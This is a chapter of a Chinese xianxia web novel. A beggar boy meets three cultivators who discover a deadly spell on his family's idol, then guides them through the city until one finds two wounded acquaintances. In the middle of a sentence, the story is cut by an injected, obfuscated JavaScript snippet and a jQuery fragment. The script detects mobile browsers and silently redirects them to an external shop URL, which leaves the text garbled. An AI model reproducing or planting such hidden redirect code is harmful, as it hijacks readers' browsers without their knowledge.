屋外的雨一直下,水滴如断线的珠子从屋檐上不停往下落,潮湿但不闷热。
小乞丐睡在地上,翘起二郎腿,嘴里叼着一根茅草,瞥见沈归宁在打坐休息,闻夕抱着剑倚着墙,望着门外的雨若有所思,张松岭坐在树墩上玩弄茅草。
四人也不说话,就好像陌生人来恰好在这里躲雨,雨一停,就要分开了。
一想到这些人会走,小乞丐心里又不舒服了,侧身看向他们。
“你们都是从哪里过来的?”小乞丐好奇地问。
沈归宁收回身上露出的真气,缓缓睁眼,回答小乞丐的话:“苍云山。”
“哦,有点耳熟。”小乞丐点点头,他没有离开过临云城,对城外的世界一无所知,什么世家大族宗派乱七八糟的和他没有干系。
他又问:“你们来临云城做什么,这里除了术士会来逛逛,也没见过外地人会特地跑来,尤其这些天,两毒头管城内的事要紧着呢。”
“两毒头?”
小乞丐立刻坐正,手里的茅草甩来甩去:“就是风门和靳门,这两家掌控临云城,还在城内设下了不准私用术法和斗殴,否则抓到了可就完了!”
他用着嫌弃的语气说着,又将风门和靳门狠狠骂了一顿,明眼人都能看出来,小乞丐很讨厌他们。
张松岭笑着问:“你明明在城内用了巫蛊术,照你这么说,他们早该抓你关起来了,为什么还能好好的待在这里呢。”
“那是因为……”
小乞丐话说到一半噎住,眼睛转溜了一圈,有意地立刻转换话题:“这事暂且不说,你们要是碰上了风门靳门的人,能躲多远是多远,省的给自己找麻烦。”
他在故意隐藏一件事,不想让这三个刚认识没多久的陌生人知道,幸好这三人没有追着他问,似乎也不在乎,这件事就过去了。
屋外的雨小了些,渐渐停下来,刮进破屋的风吹灭了供台上的烛火,小乞丐着急地点燃,合手低头向神像拜了三下,望向神像的眼神中充满虔诚。
不知何时,沈归宁和闻夕无声地站在小乞丐身旁两侧,小乞丐吓了一跳,见二人静静地看着神像,不像其他闯进者对神像无礼,于是解释道。
“这是我祖上留下了的唯一一件宝物,差不多有两百多年了,这屋子经常刮风下雨,破一次我就修一次,花了不少功夫才将神像安置好。”
小乞丐碰了碰鼻子,扬起得意的笑脸,毕竟是个少年人,有着自己的心气,不求人自己就能解决,他觉得这是一件值得高兴的事。
神像不大,一手捻花,身上的漆掉了不少颜色,全身洁净不染尘灰,它的周围摆满了瓜果,足以看得出来小乞丐有多宝贵神像。
沈归宁注意到有淡金色的光芒从神像上飘荡,游丝般缠绕整个屋子,这光芒似乎只有他能看到,其他人都没有注意。
藏在袖中的手捏诀,无形的剑气从袖中飞出,划断丝线,可丝线又快速缠在一起,他尝试了两三次皆是如此。
一根金色丝线直直地从神像眼睛朝着小乞丐射出,在即将碰到小乞丐的时候,闻夕出手抓去,丝线从她手中滑出,恰好小乞丐打了个喷嚏。
和沈归宁一样,闻夕也看到了金色的丝线,她觉得自己摸到了丝线,可松开手什么都没有,抬眼紧盯神像。
神像嘴边挂着慈爱的微笑,可在闻夕和沈归宁看来,似乎是在嘲笑他们。
雨停了,他们三人也要离开了,将他们送到门口,小乞丐竟然有些舍不得这几个离开。
“你们要是想找人或找东西,我也不是不能帮上忙啊,我找东西还挺快的。”小乞丐背靠破烂的木门,假装不在意。
看到三人停下脚步,齐刷刷看着自己,小乞丐脸上一红,又觉得自己刚才的话夸大,他们又不熟,为什么要找一个乞丐子帮忙。
张松岭认真地看着他:“难道你不舍得我们离开?”
被戳中心思,小乞丐立刻摆手否决:“没有啊,你们从外地来的,也不清楚临云城什么情况,找人找东西麻烦的很,要是惹上了不该惹的不就麻烦了,当然了我看你们也不是普通人,也能自己解决,又不用我帮忙。”
急躁之下,小乞丐说了很多,可越说越觉得没底气,一下子说不下去了,只觉得脸上和心上火辣辣地在烧着自己。
“多谢你的好意,我们要找的人很危险,不能牵扯他人进来。”
小乞丐听出来白衣道袍男人话中的拒绝意思,热心也凉了下来,和这群人相处也不过半天,他觉得对方是好人,想亲近些,可对方没有这么想。
好不容易有人愿意靠近他,听他说说话,又要看着他们离开了,小乞丐鼻子一酸,刚想回应,就听沈归宁说:“临云城内的事想必你最为熟悉,接下来就麻烦你了。”
“你们这是,愿意了?”小乞丐不敢相信,再次露出笑颜。
他回去收拾一下,看着小乞丐欢呼跳跃的身影,张松岭不解地问:“沈掌门,师父,为什么要带上他呢?”
“屋内的神像上被人下了术法,包围整座宅子,要是继续让他待在这里,不出三日他就会死。”闻夕说,连她都能看出来的术法,想必施术之人丝毫不掩饰要杀了小乞丐的心思。
要不是他们随着黑蛾子来到这里,发现了神像上的术法,不然小乞丐会悄无声息地死去。
小乞丐再出来时,脸上的灰已经擦干净,身上的灰也拍了拍,头发也稍稍梳理了一番,他长得剑眉星目,又带了些清秀,身材瘦弱,要不是身上衣服破烂,到让人看不出来是个乞丐,更有书生气。
如此隆重地打扮了一番,面对沈归宁三人惊讶的目光,小乞丐不好意思起来,强行让自己保持镇定。
随后他关上了半扇门,跟着刚认识不久的三人一同前行。
小乞丐刚开始还显得拘谨,和他们多聊了几句话后熟络了许多,逐渐放开了架子,问什么他就说什么。
他本名杨惊云,那座宅子是他杨家的祖宅,两百多年前杨家在临云城也算是大世家,可遭遇意外家道中落,直到全族只剩下他一人存活。
说起这个,杨惊云长叹一声,家族的辉煌往事对他而言太远,就好像听了一个虚幻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17826807|209387||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的故事,可每次提起都觉得不好受,说的次数多了也没什么感觉了。
在听了沈归宁说要找的东西之后,杨惊云想了一遍,摇头:“城内术士太多了,想找到你们说的这个人,恐怕没个七天都找不到,不过嘛,要是能能求风门或者靳门的人帮忙,多些人手在城内一个一个查,差不多三天就够了。”
这两家的人可不好惹,能让他们出手帮忙得多大的面子,杨惊云觉得无望了,转头见三人在悄悄说话,随后听到闻夕说:“那就去找风门的人帮忙。”
杨惊云张大嘴巴:“你在说什么?”
闻夕也不解释原因,她有风桃的信物,只要能找到风门就能见到她,于是让杨惊云带路。
这些人也真奇怪,杨惊云心想,人人都知道风门和靳门从不多管闲事,更不是闲人说见就见得到的,这三人语气肯定,就好像一定能见到风门的人一样。
他走在最前面,顺手摘了根狗尾草在手里把玩,城内的路他走了很多遍,闭着眼都能知道脚下是哪里,找到去风门的路可不止一条路,杨惊云带着他们穿过一条又一条胡同,称此是最快能到达的路。
胡同窄小,只能一个人一个人通过,杨惊云像个小猴子,滑溜溜地穿来穿去,又觉得胡同里的灰和土会弄脏这三人的衣服,决定走完这一条小路就走大路。
沈归宁看了眼脏掉的袖子,倒是不在意,同时让闻夕和张松岭多注意些。
走在最后面的张松岭差点跟不上了,呼吸声也变得沉重,双脚酸疼,他扶着墙一点点往前挪动,中间路过一巷口时想要停下来歇息会,再抬头时见到自己和前面人拉开了一段距离。
他扶着腰,甩甩肩准备继续走,眼睛忽然瞥了一眼身旁的狭窄巷口,里面堆满了杂物,没有什么奇怪的东西却让他忍不住多看两眼。
再往下看,他似乎看到了暗红色粘稠的东西,沿着泥土地滑到他的脚边,张松岭鬼使神差地弯腰摸了一把,黏糊糊的,凑近一闻,瞳孔骤缩。
是血的味道!
越来越多的血出现在地上,张松岭身子一麻,想要喊出声,可理智在这一刻控制住嘴巴,万一是仇敌呢,他这一喊不就让师父他们陷入危险中了。
转头看向前方,他已经和他们拉开了很大的距离,最好的做法就是跑走不管不问,张松岭咽下空气,身子就算僵硬也要离开。
杂物在他眼前动了动,张松岭一惊,心里无比纠结,又担心又好奇,他心一横,竟然走进去巷口,轻手轻脚地掀开杂物,突然听到轻轻的女人的声音。
那声音如银铃般悦耳,非常熟悉,张松岭一时着急将所有杂物都掀开,见到了满身血渍,哭花了脸的小莲,还有她怀中抱着口吐鲜血的青年。
张松岭愣住了:“小莲姐?还有木声大哥?”
小莲眼中忽然有了光,眼泪又一次涌出:“是你?师父在哪,快让他来救救木声,木声快要死了啊!”
少女的哭颜映入他的眼中,使他瞳孔发颤。
张松岭立刻往后面跑,踉跄了一下差点摔倒,拽住墙角冲着前方大声呼喊。